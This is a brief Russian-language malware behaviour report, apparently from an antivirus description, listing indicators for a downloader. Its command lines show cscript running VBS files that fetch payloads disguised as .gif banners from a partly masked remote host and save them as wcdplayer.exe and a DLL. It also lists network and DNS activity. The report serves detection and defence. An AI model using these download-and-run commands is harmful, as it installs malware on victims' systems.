Техническая информация
- %WINDIR%\wcdplayer.exe (загружен из сети Интернет)
- <SYSTEM32>\cscript.exe ddddfa.vbs http://2b###.net.br/banner2.gif %WINDIR%\wcdplayer.dll
- <SYSTEM32>\cscript.exe affead.vbs http://2b###.net.br/banner1.gif %WINDIR%\wcdplayer.exe
- %WINDIR%\wcdplayer.exe
- <Текущая директория>\ddddfa.vbs
- <Текущая директория>\affead.vbs
- <Текущая директория>\ddddfa.vbs
- '2b###.net.br':80
- 2b###.net.br/banner1.gif
- DNS ASK 2b###.net.br
- '<IP-адрес в локальной сети>':1034